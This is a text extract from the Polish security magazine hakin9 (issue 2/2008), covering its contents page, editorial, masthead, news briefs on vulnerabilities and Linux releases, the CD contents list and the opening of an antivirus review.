hakin9
02/2008 PL
4
www.hakin9.org
hakin9 Nr 2/2008
5
www.hakin9.org
hakin9 Nr 2/2006
W skrócie
6
Mateusz Stępień
Przedstawiamy garść najciekawszych wiadomości
ze świata bezpieczeństwa systemów informatycz-
nych i nie tylko.
Zawartość CD
10
Prezentujemy zawartość i sposób działania najnowszej
wersji naszej sztandarowej dystrybucji hakin9.live.
Narzędzia
Kaspersky Internet Security 7
12
AVG Internet Security 7.5
13
Początki
Sniffing i wardriving – zabezpiecz się
Konrad Witaszczyk
14
Ostatnio, popularny stał się wardriving – wyszukiwa-
nie sieci bezprzewodowych. Niektórzy nie poprzesta-
ją na wyszukaniu sieci i kradną dane. Artykuł pokaże,
w jaki sposób powinniśmy się zabezpieczyć przed
takimi atakami.
Atak
Hakowanie PuTTY
Dawid Gołuński
18
Jak zmodyfikować skompilowaną aplikację na przy-
kładzie klienta SSH – PuTTY? O tym dowiedzą się
Państwo czytając tekst Dawida Gołuńskiego.
Podglądanie pulpitu
Sławomir Orłowski
30
Jak z poziomu kodu C# utworzyć połączenie TCP
i wysłać dane za pomocą protokołu UDP? W jaki
sposób używać komponentów klasy Backgroun-
dWorker oraz jak używać strumieni do programo-
wania sieciowego? Odpowiedzi na te pytania znajdą
Państwo w artykule.
Edycja zasobów w plikach wykony-
walnych
Damian Daszkiewicz
38
Tekst o sposobach przeglądania, eksportowania i edy-
towania zasobów w plikach wykonywalnych autorstwa
Damiana Daszkiewicza.
Witam!
Luty. Za oknami zima. Na ulicach śnieg, przechodnie opatu-
leni w ciepłe czapki i szaliki. W taką pogodę dobrze zostać
w domu, siąść w fotelu i napić się ciepłej herbaty z cytryną.
A jeszcze lepiej rozsiąść się wygodnie w ulubionym fotelu i
popijając ciepłą herbatę z cytryną zanurzyć się w lekturze
magazynu hakin9.
A w nim, jak co miesiąc – nowości, prezenty, ciekawe
artykuły. Wśród nich wart polecenia temat numeru Hako-
wanie PuTTY autorstwa Dawida Gołuńskiego, który pokaże
nam, jak zmodyfikować aplikację bez dostępu do kodu źró-
dłowego oraz Nowa generacja IDS, czyli ISA Server 2006
w testach, w którym Paulina Januszkiewicz opisuje, w jaki
sposób ISA Server reaguje na poszczególne zagrożenia
i anomalie ruchu sieciowego, w jaki sposób administrator
informowany jest o zdarzeniach, a także czy ISA Server
2006 sprawdza się jako system wykrywania włamań.
W międzyczasie można zasiąść do komputera i zainsta-
lować na nim programy dostępne na nowej płycie CD. W tym
numerze hakin9'u trzy programy do wyboru – przede wszyst-
kim Norman Ad-Aware SE Plus, który zapewnia swoim użyt-
kownikom kompleksową ochronę przeciw programom typu
spyware oraz adware. Jeżeli chcą Państwo zapewnić swo-
jemu komputerowi jeszcze większe bezpieczeństwo, można
zainstalować jedną z najbezpieczniejszych przeglądarek
– e-Capsule Private Browser, którą udostępniamy na płycie.
Zamknąć komputer pomoże Państwu program RSHUT Pro,
a wtedy można powrócić do lektury magazynu.
Zapraszam!
Barbara Czułada
4
www.hakin9.org
hakin9 Nr 2/2008
5
www.hakin9.org
hakin9 Nr 2/2006
Obrona
Nowa generacja IDS,
czyli ISA Server 2006 w testach
Paulina Januszkiewicz
42
ISA Server jest zaawansowanym systemem zapobie-
gania włamaniom. Testy przeprowadzone w tym arty-
kule wykażą, czy ISA Server dobrze spełnia swoje
zadanie wykrywania ataków.
Wiarygodność testów programów
antywirusowych
Jakub Dębski
58
Testy programów antywirusowych wzbudzają wiele
emocji. Jakub Dębski opisuje, jak są przeprowadzane.
Helix – analiza powłamaniowa
Grzegorz Błoński
64
Analiza powłamaniowa – mimo tego, iż jest to zada-
nie bardzo trudne, czasochłonne i wymagające dużej
wiedzy oraz cierpliwości podczas jego wykonywania
– nie musi być niemożliwe do wykonania. O tym prze-
konuje Grzegorz Błoński.
Księgozbiór
72
Recenzujemy książki CCNA semestr 1, 2, 3 oraz 4.
Wywiad
74
Wywiad z Witosławem Wolańskim z
Banku Nordea
Katarzyna Juszczyńska, Robert Gontarski
Rozmowa ze specjalistą ds. polityki bezpieczeństwa
systemu IT w Banku Nordea.
Klub techniczny
Kerio MailServer jako system
poczty i pracy grupowej dla firm
77
Felieton
78
Socjo-cyber-piraci przestrzeni
Patryk Krawaczyński
Zapowiedzi
82
Zapowiedzi artykułów, które znajdą się w następnym
wydaniu magazynu hakin9 nr 3/2008.
jest wydawany przez Software–Wydawnictwo Sp. z o.o.
Dyrektor wydawniczy: Sylwia Pogroszewska
Redaktor naczelny: Katarzyna Juszczyńska
katarzyna.juszczynska@software.com.pl
Redaktor prowadzący: Robert Gontarski
robert.gontarski@software.com.pl
Asystentka: Barbara Czułada
barbara.czulada@software.com.pl
Wyróżnieni betatesterzy: Marcin Kulawinek, Błażej Obiała
Opracowanie CD: Rafał Kwaśny
Kierownik produkcji: Marta Kurpiewska marta@software.com.pl
Skład i łamanie: Anna Osiecka anna.osiecka@software.com.pl
Okładka: Agnieszka Marchocka
Dział reklamy: adv@software.com.pl
Prenumerata: Marzena Dmowska pren@software.com.pl
Adres korespondencyjny: Software–Wydawnictwo Sp. z o.o.,
ul. Bokserska 1, 02-682 Warszawa, Polska
Tel. +48 22 427 36 77, Fax +48 22 244 24 59
www.hakin9.org
Osoby zainteresowane współpracą prosimy o kontakt:
cooperation@software.com.pl
Druk: 101 Studio, Firma Tęgi
Redakcja dokłada wszelkich starań, by publikowane w piśmie i na
towarzyszących mu nośnikach informacje i programy były poprawne,
jednakże nie bierze odpowiedzialności za efekty wykorzystania ich;
nie gwarantuje także poprawnego działania programów shareware,
freeware i public domain.
Uszkodzone podczas wysyłki płyty wymienia redakcja.
Wszystkie znaki firmowe zawarte w piśmie są własnością odpowiednich
firm i zostały użyte wyłącznie w celach informacyjnych.
Do tworzenia wykresów i diagramów wykorzystano
program
firmy
Płytę CD dołączoną do magazynu przetestowano programem AntiVirenKit
firmy G DATA Software Sp. z o.o.
Redakcja używa systemu automatycznego składu
UWAGA!
Sprzedaż aktualnych lub archiwalnych numerów pisma w cenie innej
niż wydrukowana na okładce – bez zgody wydawcy – jest działaniem
na jego szkodę i skutkuje odpowiedzialnością sądową.
hakin9 ukazuje się w następujących krajach: Hiszpanii, Argentynie,
Portugalii, Francji, Belgii, Luksemburgu, Kanadzie, Maroko, Niem-
czech, Austrii, Szwajcarii, Polsce, Czechach, Słowacji.
Prowadzimy również sprzedaż kioskową w innych krajach europej-
skich.
Magazyn hakin9 wydawany jest w 7 wersjach językowych:
PL
ES
CZ EN
IT FR DE
Nakład wersji polskiej 6 000 egz.
UWAGA!
Techniki prezentowane w artykułach mogą być używane jedynie
we własnych sieciach lokalnych.
Redakcja nie ponosi odpowiedzialności za niewłaściwe użycie
prezentowanych technik ani spowodowaną tym utratę danych.
W skrócie
hakin9 Nr 3/2008
www.hakin9.org
6
Mateusz Stępień
www.hakin9.org
7
hakin9 Nr 3/2008
IT Underground 2007
W dniach 7-9 listopada w Warsza-
wie, w siedzibie Mercedes Polska,
odbyła się największa w Europie
Wschodniej konferencja poświę-
cona bezpieczeństwu komputero-
wemu – IT Underground, podczas
której światowej klasy specjaliści
podzielili się swoją wiedzą
i doświadczeniem na temat technik
penetracji systemów informatycz-
nych i metod zabezpieczania się
przed atakiem.
DebugView pozwala na
eskalację przywilejów
iDefense odkryło, że służący do
debugowania aplikacji program
Microsoftu – DebugView zawie-
ra lukę w kodzie, która pozwala
na podniesienie uprawnień zwy-
kłego użytkownika. DebugView
używa funkcji dbgv.sys zawartej
w kernelu, która może być użyta
do skopiowania danych użytkow-
nika w praktycznie dowolne miej-
sce w pamięci.
Zgodnie z doniesieniami, istnie-
je możliwość zapisania przez ata-
kującego swojego kodu do pamię-
ci, a następnie wykonania go. Bug
został wykryty w wersji 4.60.0.0
funkcji dbgv.sys, której używał
DebugView w wersji 4.64. Micro-
soft wypuścił wersję aplikacji 4.72,
usuwającą lukę.
Luka w bibliotekach Perla
Biblioteki Perla (PCRE, Perl
Compatible Regular Expressions)
odpowiedzialne za przetwarza-
nie wyrażeń regularnych zawiera-
ją lukę, która może zostać wyko-
rzystana przez napastnika do
wstrzyknięcia swojego, złośliwe-
go kodu do działającej aplikacji
napisanej właśnie w Perlu.
Problem jest wynikiem błędne-
go alokowania pamięci podczas
przetwarzania wyrażeń regular-
nych.
Każdy obcy kod, który uda się
podrzucić hakerowi, w rzeczywi-
stości zostanie uruchomiony z
prawami zaatakowanej aplikacji.
Tavis Ormandy z Google Securi-
ty odkrył kilka luk w PCRE, które
pozwalają na wykonanie złośliwe-
go kodu, co potwierdza również
Debian Team informując,
że znane są sposoby przepełnie-
nia bufora właśnie w tych biblio-
tekach.
Student UW mistrzem Polski
w programowaniu
S
tudent Uniwersytetu Warszaw-
skiego, Marek Cygan, okazał się
najlepszym i najszybszym zawod-
nikiem II Internetowych Mistrzostw
Polski w Programowaniu. Organi-
zatorem imprezy była firma Asseco
Business Solutions Pion Bizneso-
wy Safo. W internetowych mistrzo-
stwach wzięło udział 1170 osób,
zmagając się w czterech turach
z dwunastoma zadaniami. Serwer
skompilował i ocenił 10165 nade-
słanych programów. Szczegółowy
ranking zawodów dostępny jest na
stronie: http://opss.safo.biz/?menu=
comp&sub=rank&comp=9
Tegoroczne zawody charakte-
ryzowały się ostrą i zaciętą walką
o tytuł mistrza. Poziom przysyła-
nych do nas prac był bardzo wysoki.
Cieszy nas bardzo rosnące zaintere-
sowanie konkursem i udział w nim
tak wielu zdolnych młodych ludzi.
Ponad połowę uczestników stano-
wili uczniowie i studenci, w wieku
od 17 do 21 lat. Potwierdza to opinię
o drzemiącym w młodych Polakach
potencjale informatycznym. Mistrzo-
stwa stanowią zaś niebywałą okazję,
aby wyłowić i ukształtować nieprze-
ciętne talenty – mówi Maciej Maniec-
ki, wiceprezes Asseco Business
Solutions.
Oto pierwsza dziesiątka najlep-
szych uczestników:
• Marek Cygan, Żołędowo (nagroda
– notebook Lenovo 3000 N200)
• Marcin Andrychowicz, Grójec (no-
tebook Lenovo 3000 N200)
• Jakub Radoszewski, Poznań
(Pocket PC z telefonem komórko-
wym Asus P526)
• Jarosław Błasiok, Gostyń (kompu-
ter kieszonkowy HP iPaq rx5710
Travel Companion)
• Piotr Mikulski, Szczecin (komputer
kieszonkowy Acer PDA C530)
• Szymon Wrzyszcz, Grudziądz
(drukarka HP PhotoSmart D7160)
• Michał Bartoszkiewicz, Wrocław
(dysk zewnętrzny WD Passport II
120GB USB2.0)
• Mateusz Rukowicz, Kamienna
Góra (kamera internetowa Logi-
tech Quickcam Pro 9000)
• Paweł Gawrychowski, Wrocław
(pamięć Kingston DataTraveler II
Plus Migo 4GB)
• Aleksander Piotrowski, Lisi Ogon
(pamięć Kingston DataTraveler II
Plus Migo 2GB)
Marek Cygan był jednym z trzech stu-
dentów UW – obok Filipa Wolskiego
i Marcina Pilipczuka – którzy w marcu
bieżącego roku wygrali Akademickie
Mistrzostwa Świata w Programowaniu
Zespołowym. W finale, który odbył się
w Japonii, Polacy pokonali 88 drużyn
z Europy, Azji, obu Ameryk, Afryki
i Bliskiego Wschodu oraz Południowe-
go Pacyfiku. Na rozwiązanie 10 zadań
mieli pięć godzin. Błyskawicznie roz-
wiązali pierwsze zadanie (po 13 minu-
tach), natychmiast wychodząc na pro-
wadzenie.
Asseco Business Solutions SA
dostarcza wysokiej jakości rozwią-
zania informatyczne dla przedsię-
biorstw, niezależnie od ich wielko-
ści, branży i specyfiki. Działając
w ramach Grupy Kapitałowej Asseco,
firma operuje jako Centrum Kompe-
tencyjne odpowiedzialne za systemy
ERP, oprogramowanie dla małych
i średnich przedsiębiorstw, outsour-
cing, data center oraz rozwiązania w
zakresie e-learningu.
Rysunek 1.
Marek Cygan
W skrócie
hakin9 Nr 3/2008
www.hakin9.org
6
Mateusz Stępień
www.hakin9.org
7
hakin9 Nr 3/2008
Ubuntu Gutsy Gibbon
Ukazała się nowa wersja dystry-
bucji Ubuntu 7.10 o nazwie kodo-
wej Gutsy Gibbon. W nowym
Ubuntu znajdziemy między innymi
środowisko GNOME w wersji
2.20, domyślnie włączone efekty
graficzne Compiz Fusion i zain-
stalowaną wtyczkę Gnash do
odtwarzania animacji Flash.
Ubuntu Gutsy Gibbon zawie-
ra jądro 2.6.22 i podsystem gra-
fiki Xorg 7.3 z obsługą RandR
1.2 oraz z xserver 1.4. Pojawi-
ły się także sterowniki do niektó-
rych tzw. winmodemów. Twórcy
Ubuntu poprawili ponadto system
raportowania przy instalacji i aktu-
alizacjach pakietów, a także zgła-
szania padów jądra, które będą
wyłapywane podczas restartu.
Ubuntu to kompletna dystrybucja
systemu operacyjnego GNU/Linux
bazująca na dystrybucji Debian.
Projekt sponsorowany jest przez
firmę Marka Shuttlewortha Cano-
nical Ltd. Słowo ubuntu pochodzi
z języków plemion Zulu i Xhosa
zamieszkujących południową
Afrykę i oznacza człowieczeństwo
wobec innych. Głównym celem
dystrybucji jest dostarczenie zwy-
kłym użytkownikom kompletnego,
otwartego systemu, który będzie
łatwy w obsłudze oraz jednocze-
śnie stabilny, niezawodny i nowo-
czesny. Ubuntu wydawane jest
w regularnych (w miarę możliwo-
ści – sześciomiesięcznych) odstę-
pach czasowych. Pierwsze wyda-
nie Ubuntu ukazało się 20 paź-
dziernika 2004 roku jako tymcza-
sowa odmiana dystrybucji Debian
GNU/Linux.
Uwaga na programy zabez-
pieczające
Znany amerykański kryptograf
i specjalista z zakresu bezpieczeń-
stwa teleinformatycznego, Bruce
Schneier, zalecał podczas kon-
ferencji RSA Conference Europe
2007, by nie wierzyć zbytnio pro-
duktom mającym zapewnić bezpie-
czeństwo: Z przyczyn ideologicz-
nych bądź marketingowych pro-
dukty te są przedstawiane jako
bezpieczne. Ludzie sprzedający
karty elektroniczne zrobią wszyst-
ko, by przekonać nas, że są one
rozwiązaniem problemów związa-
nych z bezpieczeństwem. Skoro
dla wszystkich jest to dobre rozwią-
zanie, to i dla mnie również.
Domena IFPI.com w rękach
The Pirate Bay
S
zwedzki serwis ThePirateBay.org
przejął domenę www.IFPI.com,
która należała do International Fede-
ration of the Phonographic Industry
(IFPI) – znanej na całym świecie orga-
nizacji antypirackiej. Administratorzy
The Pirate Bay zaprzeczają, jakoby
dokonali jej nielegalnego przejęcia. Ich
zdaniem, IFPI nie dokonała przedłuże-
nia rejestracji, co wykorzystał pewien
anonimowy internauta, który natych-
miast wykupił domenę, po czym ofia-
rował ją serwisowi ThePirateBay.org.
Brokep, jeden z administratorów The
Pirate Bay, tak podsumował przed-
sięwzięcie: International Federation of
Pirates Interests (IFPI) jest nową orga-
nizacją, którą zakładamy, by mówić
o piractwie.
The Pirate Bay poszukują również
nowej wyspy. Informacja o zamiarze
zakupienia mikro-państwa Sealan-
dii, podana przez TPB na początku
tego roku, wzbudziła wiele emocji,
jednak książę Sealandii, powiedział
w wywiadzie dla CBC The Hour,
że nie pozwoli piratom zakupić swo-
jego państewka. Administratorzy
The Pirate Bay nie ujawnili jeszcze,
jaką wyspę braliby pod uwagę, tłu-
macząc się, że ostatnio nie mieli na
to czasu: Projekt Sealandii pochłonął
cały nasz czas i nie mogliśmy zasad-
niczo zrobić nic innego, powiedział
Brokep. Pieniądze zostaną wydane
na wyspę, ale najpierw musimy się
skupić na nadchodzących sprawach
sądowych, które nas czekają.
The Pirate Bay jest jedną z najlepiej
znanych stron w Internecie – najwięk-
szym światowym trackerem BitTorren-
ta, która także działa jako wyszuki-
warka plików .torrent. I chociaż słowo
mininova było jednym z najczęściej
wyszukiwanych w Google, The Pirate
Bay jest dobrze znane prasie, głównie
ze względu na to, że przeciwstawia się
obowiązującym regulacjom w prawie
autorskim, a także walczy o równy
dostęp do materiałów dla wszystkich
użytkowników.
Ponieważ BitTorrent bardzo dobrze
radzi sobie z dużymi plikami, technolo-
gia ta stała się popularna wśród użyt-
kowników P2P, którzy wymieniają się
dużymi zestawami muzyki, filmami
i oprogramowaniem, a także dyska-
mi instalacyjnymi dystrybucji Linuksa.
TPB nie hostuje żadnych plików, któ-
rych rozpowszechnianie może ewen-
tualnie naruszać prawo autorskie,
a jedynie udostępnia pliki .torrent.
Rysunek 2.
IFPI
W skrócie
hakin9 Nr 3/2008
www.hakin9.org
8
Mateusz Stępień
www.hakin9.org
9
hakin9 Nr 3/2008
ArcaVir 2008 już jest!
Firma ArcaVir przygotowała kolej-
ną edycję pakietu zabezpiecza-
jącego ArcaVir System Protec-
tion 2008. Oprócz już sprawdzo-
nych mechanizmów, w kolejnej
edycji pakietu pojawiły się rów-
nież nowe rozwiązania, tj.: kon-
figuracja skanera HTTP zawie-
rająca reguły skanowania oraz
białą listę stron, kontrola zawarto-
ści stron WWW (zintegrowana ze
skanerem HTTP) umożliwiająca
usuwanie aktywnych treści
i banerów, obsługa SSL przy ska-
nowaniu poczty niewymagająca
zmian portów i nie powodująca
ostrzeżeń ze strony programów
pocztowych, skanowanie proto-
kołu IMAP, nowy moduł tworzący
raport o systemie, rozbudowana
kwarantanna z opcją kasowania
starych plików, nowoczesny silnik
antywirusowy.
ArcaVir System Protection 2008
w wersji elektronicznej do użytku
domowego na jedno stanowisko
można nabyć za kwotę 120 PLN.
Wersja pudełkowa, również do
użytku domowego, oferuje licen-
cję na 3 stanowiska w cenie
150 PLN.
Notebooki z piratami
Policjanci z mokotowskiej komen-
dy zajmujący się zwalczaniem
przestępczości gospodarczej
zabezpieczyli nielegalne oprogra-
mowanie, które firma kompute-
rowa oferowała swoim klientom.
Jak ustaliła policja, osoby kupu-
jące laptopy mogły doposażyć je
w różne wersje pirackich progra-
mów operacyjnych i pakiety opro-
gramowania biurowego. Aresz-
towany Sławomir W. płyty z pira-
tami kupował na giełdzie kom-
puterowej, a następnie instalo-
wał to oprogramowanie na sprze-
dawanych komputerach. Laptopy
i nośniki zostały zabezpieczone
przez policję.
Fedora 8 udostępniona użytkownikom
U
kazała się nowa wersja dystry-
bucji Fedora 8, która tworzona
jest na bazie Red Hata. Linux jest poli-
gonem doświadczalnym Red Hata –
w dystrybucji, przeznaczonej dla użyt-
kowników indywidualnych, testowane
są najnowsze wersje oprogramowa-
nia, które z czasem trafią także do Red
Hat Enterprise Linux. Zmian w najnow-
szej wersji jest bardzo wiele, jednak
do najważniejszych nowości w wyda-
niu ósmym Fedory można zaliczyć:
• Iced Tea – jest to otwarta, a co
najważniejsze w pełni darmowa
wersja Javy.
• Pulse Audio – to nowy domyślny
serwer dźwięku, który ma wiele
zalet – m. in. dynamiczną regula-
cję dźwięku dla poszczególnych
aplikacji. Dając większą kontro-
lę użytkownikom, ma to być krok
naprzód na obszarze odtwarza-
nia dźwięków w systemie.
• Pirut – zupełnie nowy edytor
repozytoriów, który sprawia,
że dodawanie, usuwanie, włą-
czanie i wyłączanie repozytoriów
staje się naprawdę łatwe.
• CodecBuddy – prosta instalacja
kodeków.
• NetworkManager 0.7, a w nim
m. in.: bezpieczniejsze przecho-
wywanie haseł WPA, obsługa
nowego DBus API, bardziej przej-
rzysty interfejs.
• Ulepszony konfigurator drukarek
– system-config-printer.
• Nowe graficzne narzędzie kon-
figuracyjne firewalla – ma ono
pozwolić użytkownikom na skonfi-
gurowanie zasad działania zapory
ogniowej w systemie w znacznie
bardziej przystępny sposób, dając
maksimum bezpieczeństwa.
• Usprawnienia Menadżera Sieci
– został on gruntownie przepisa-
ny specjalnie dla Fedory 8, mając
w ten sposób zapewnić większą
stabilność, elastyczność i uży-
teczność.
• Rozszerzona obsługa drukarek
– od teraz dodawanie nowych
drukarek powinno ograniczyć się
do podłączenia ich zarówno do
zasilania, jak i samego kompute-
ra – sterowniki powinny dodać się
samoczynnie.
• Poprawione działanie na lapto-
pach (hibernacja, stan wstrzyma-
nia, klawisze multimedialne).
• Nowy system logowania Rsyslog.
• GNOME Online Desktop.
• Infrastruktura Transifex do zarzą-
dzania tłumaczeniami.
Celem projektu Fedora jest budowa
w pełni użytecznego systemu ope-
racyjnego w oparciu o wolne opro-
gramowanie, wydawanego cyklicz-
nie 2-3 razy w roku.
Rysunek 3.
Fedora 8
W skrócie
hakin9 Nr 3/2008
www.hakin9.org
8
Mateusz Stępień
www.hakin9.org
9
hakin9 Nr 3/2008
Wrocławska policja przejęła
serwery warezowe
Policjanci z Wydziału do Walki
z Przestępczością Gospodar-
czą Komendy Wojewódzkiej Poli-
cji we Wrocławiu zabezpieczyli 6
serwerów, za pomocą których roz-
powszechniano nieautoryzowa-
ne kopie plików multimedialnych.
Komputery umieszczone były
w jednym z asystenckich domów
wrocławskiej uczelni wyższej oraz
w mieszkaniu prywatnym 29-letnie-
go mieszkańca Wrocławia, który
administrował siecią komputero-
wą m. in. w tym pierwszym obiek-
cie. Wśród zabezpieczonych przez
policjantów sześciu serwerów kom-
puterowych zawierających 37
dysków twardych o łącznej pojem-
ności 12 terabajtów były np. takie,
które posiadały takie dyski jak:
3x750 GB, 3x300 GB i 7x 500 GB.
Zatrzymanemu mężczyźnie grozi
odpowiedzialność karna w wymia-
rze pozbawienia wolności do 5 lat.
Wrocławscy policjanci nie wyklu-
czają zatrzymań dalszych osób.
Co trzeci pracownik nie dba
o bezpieczeństwo
Z raportu przygotowanego przez
organizację Information Systems
Audit and Control Association
(ISACA) wynika, że ponad 35%
amerykańskich pracowników biuro-
wych ignoruje obowiązujące w ich
firmie zasady korzystania z infra-
struktury informatycznej. Wielu
osobom wydaje się, że korzystanie
z P2P w pracy jest zupełnie nie-
szkodliwe – jednak statystyki poka-
zują, że coraz częściej zdarzają się
przypadki nieświadomego udostęp-
niania w sieciach bezpośredniej
wymiany plików firmowych doku-
mentów – zarówno danych pra-
cowników, jak i klientów. Być może
niektórym wydaje się, że 15% to
niezbyt wiele – zwróćmy jednak
uwagę, iż współczynnik ten ozna-
cza, że w każdej firmie zatrudniają-
cej 1000 pracowników ok. 70 osób
aktywnie korzysta z P2P – komen-
tuje John Pironti (ISACA).
Ruszyła Polska Wszechnica Informatyczna
P
owstał nowy portal wiedzy infor-
matycznej dla studentów, wykła-
dowców oraz absolwentów wydziałów
informatyki polskich uczelni wyższych
– Polska Wszechnica Informatycz-
na. Pomysłodawcą i organizatorem
projektu jest Warszawska Wyższa
Szkoła Informatyki, a jego partnera-
mi – firmy Microsoft, HP oraz Cisco
Systems.
W ramach Polskiej Wszechnicy
Informatycznej udostępniane będą
materiały i pomoce dydaktyczne
wykorzystywane przez polskie ośrod-
ki akademickie w procesie kształcenia
na wydziałach informatyki.
Korzystać z nich będą studenci
i wykładowcy kierunków informatycz-
nych, jak i studenci innych kierunków
oraz uczniowie szkół średnich, zain-
teresowani tematyką informatyczną.
Wiedza informatyczna staje się coraz
bardziej przydatna i popularna.
W ramach Polskiej Wszechnicy
Informatycznej zgromadzone zosta-
ną materiały dydaktyczne, które
pozwolą zdobywać wiedzę informa-
tyczną w przystępnej formie.
Portal stanie się kompendium
informacji zarówno dla tych, którzy
będą chcieli systematycznie się
uczyć, jak i tych, którzy będą potrze-
bowali doraźnej pomocy w rozwiązy-
waniu bieżących problemów informa-
tycznych – powiedział Marek Roter
z polskiego oddziału Microsoft.
Treści materiałów dostępnych na
portalu są zgodne z obecnie obowią-
zującymi standardami edukacyjny-
mi dla kierunku informatyka zatwier-
dzonymi przez Radę Główną Szkol-
nictwa Wyższego oraz zaopiniowa-
ne przez dziewięcioosobową radę
programową. W składzie rady zna-
leźli się profesorowie, przedstawicie-
le ośmiu polskich wiodących uczelni
informatycznych.
Przewodniczącym Rady Nauko-
wej jest prof. dr hab. Jan Madey, Uni-
wersytet Warszawski, a jej członkami
są: prof. dr hab. Krzysztof Diks, Uni-
wersytet Warszawski; prof. dr hab.
inż. Bogdan Galwas, Politechnika
Warszawska; prof. dr hab. inż. Zbi-
gniew Huzar, Politechnika Wrocław-
ska; prof. dr hab. inż. Henryk Kraw-
czyk, Politechnika Gdańska; prof. dr
hab. Krzysztof Loryś, Uniwersytet
Wrocławski; prof. dr hab. inż. Jerzy
Nawrocki, Politechnika Poznańska;
prof. dr hab. inż. Ryszard Tadeusie-
wicz, Akademia Górniczo-Hutnicza,
Kraków; prof. dr hab. Marek Zaionc,
Uniwersytet Jagielloński.
W skład Komitetu Sterującego
wchodzą: przewodniczący – Andrzej
Żyławski – Rektor Warszawskiej
Wyższej Szkoły Informatyki, członko-
wie – Marek Roter, Dyrektor General-
ny Microsoft Polska; Paweł Czajkow-
ski, Dyrektor Generalny HP Polska;
Paweł Malak, Dyrektor Generalny
CISCO Polska; Jan Sokalski, Czło-
nek Konwentu Warszawskiej Wyż-
szej Szkoły Informatyki.
Rysunek 4.
Polska Wszechnica Informatyczna
hakin9.live
hakin9 Nr 2/2008
www.hakin9.org
10
N
a dołączonej do pisma płycie znajduje się dys-
trybucja hakin9.live (h9l) w wersji 4.0.2 on
BackTrack2.0, zawierająca przydatne narzę-
dzia, dokumentację, tutoriale i materiały dodatkowe
do artykułów. Aby zacząć pracę z hakin9.live, wystar-
czy uruchomić komputer z CD. Po uruchomieniu syste-
mu możemy zalogować się jako użytkownik hakin9 bez
podawania hasła.
Pełne wersje programów:
• PROSHUT Real-Time Security – wersja bez ograni-
czeń czasowych,
• e-Capsule Private Browser - wersja 60-dniowa,
• Norman Ad-Aware SE Plus – wersja 30-dniowa.
Tutoriale
• tworzenie kodu pierwszego konia trojańskiego,
• Videotutorial Metasploit3.
Filmy instruktażowe:
• odcinek 3 – atak SQL Injection z użyciem Union Se-
lect.
Kolejny odcinek z serii filmów instruktażowych przed-
stawiających
najpopularniejsze
metody
ataków
na strony internetowe.
PROSHUT Real-Time Security
RSHUT Pro jest rozwiązaniem programowym, które
oszczędza Twój czas, zamykając za Ciebie komputer.
Działa bezpośrednio na Twoim sprzęcie, jak i na zdal-
nie kontrolowanych komputerach z zainstalowanym sys-
temem Windows.
Używaj tego programu do restartowania, hibernowa-
nia i budzenia lokalnych i zdalnych komputerów przez In-
ternet lub sieć lokalną w trybie natychmiastowym lub za-
programowanym. Wszystko to możesz zrobić nie rusza-
jąc się z miejsca, bez potrzeby przechodzenia od jednej
maszyny do następnej. Ponadto przy użyciu programu
możesz dowolnie zaplanować i przesunąć w czasie za-
mykanie systemu. RSHUT Pro otworzy i zamknie stację
dysków CD i DVD, włączy lub wyłączy wygaszacz ekranu
oraz przełączy monitor w tryb oszczędzania energii.
e-Capsule Private Browser
Przeglądarka e-Capsule Internet Browser firmy Enter-
prise Information Security Systems and Technology
(EISST) jest jednym z najbezpieczniejszych programów
tego typu. Korzystając z niej, użytkownik ma pewność,
Zawartość CD
że po zamknięciu sesji na komputerze nie pozostaną
żadne ślady surfowania.
Pliki tymczasowe, ciasteczka, historia przeglądanych
stron i inne dane używane podczas przeglądania stron
internetowych przechowywane są w pliku zaszyfrowa-
nym 256-bitowym algorytmem AES.
Ponadto, dzięki przekierowaniu połączenia przez
sieć anonimowych serwerów proxy, namierzenie adresu
IP internauty korzystającego z e-Capsule jest praktycz-
nie niemożliwe. Dlatego też korzystanie z przeglądarki
e-Capsule Private Browser pozwala użytkownikom na
swobodne korzystanie z Internetu bez obawy, że osoby
trzecie będą w stanie uzyskać dostęp do danych używa-
nych w czasie przeglądania stron WWW.
Norman Ad-Aware SE Plus Edition
Norman Ad-Aware SE Plus oferuje kompleksowe
i wszechstronne narzędzia w walce z programami, któ-
rych celem jest szpiegowanie działań użytkownika (spy-
ware) oraz wyświetlającymi niechciane reklamy pop-up
(adware). Wersja Plus zawiera pracujące w czasie rze-
czywistym narzędzie Ad-Watch, pozwalające nie tylko
wykrywać zagrożenia Twojej prywatności na kompute-
rze, ale w pierwszej kolejności blokujące je przed inte-
gracją z Twoim systemem operacyjnym. Poza tym nie-
wątpliwymi zaletami produktu są łatwość w instalacji i za-
rządzaniu, skanowanie na żądanie, kreator ustawień dla
zdefiniowania pewnych wykluczeń od blokady oraz auto-
matyczny update poprzez sieć Internet. l
hakin9.live
hakin9 Nr 2/2008
www.hakin9.org
11
Jeśli nie możesz odczytać zawartości płyty CD, a nie jest
ona uszkodzona mechanicznie, sprawdź ją na co najmniej
dwóch napędach CD.
W razie problemów z płytą, proszę napisać pod adres:
cd@software.com.pl
12
Narzędzia
hakin9 Nr 2/2008
www.hakin9.org
13
hakin9 Nr 2/2008
www.hakin9.org
Narzędzia
W dzisiejszych czasach, kiedy powstało tak wiele złośli-
wego oprogramowania, ochrona przed nim jest koniecz-
na. Chciałbym opisać służące do tego celu oprogramo-
wanie Kaspersky Internet Security 7.0. Jest to pełen
pakiet ochronny komputera.
Postanowiłem najpierw przeczytać, co napisał
o swojej aplikacji producent. Na opakowaniu i w jego
wnętrzu widzimy wiele przeróżnych certyfikatów świad-
czących o wysokiej skuteczności zapewnianej ochrony.
Jednak już chwilę potem – podczas instalacji sterowni-
ków – napotkałem na pierwsze problemy. Często trzeba
wstrzymywać ochronę lub omijać te pliki. Największe
kłopoty wystąpiły podczas instalacji modemu.
Kolejną czynnością było sprawdzenie działania sys-
temu antywirusowego. Pobrałem kilka wirusów i troja-
nów. Podczas tej czynności aplikacja zaraportowała,
że wykryła złośliwe oprogramowanie. Postanowiłem
zatem włączyć Delphi 7 i napisać własnego trojana.
Po jego uruchomieniu Kaspersky natychmiast poinfor-
mował, że trojan dokonuje zmian w rejestrze – zatem
choćby minimalnie rozgarnięty użytkownik powinien
uniknąć zainfekowania. Mimo wszystko, w razie jego nie-
wiedzy lub nieuwagi, firewall powinien zablokować troja-
na. Tu również Kaspersky spisał się bardzo dobrze. Fire-
wall działa bez zarzutu, ukrywa nazwę systemu i otwarte
porty. Niestety, kiedy chcemy uruchomić serwer, firewall
trzeba już samemu przekonfigurować.
Następnie pod lupę wziąłem filtr anty-spamowy,
który wykazał się 80%-ową skutecznością w bloko-
waniu niechcianych przesyłek. Kolejnym przydatnym
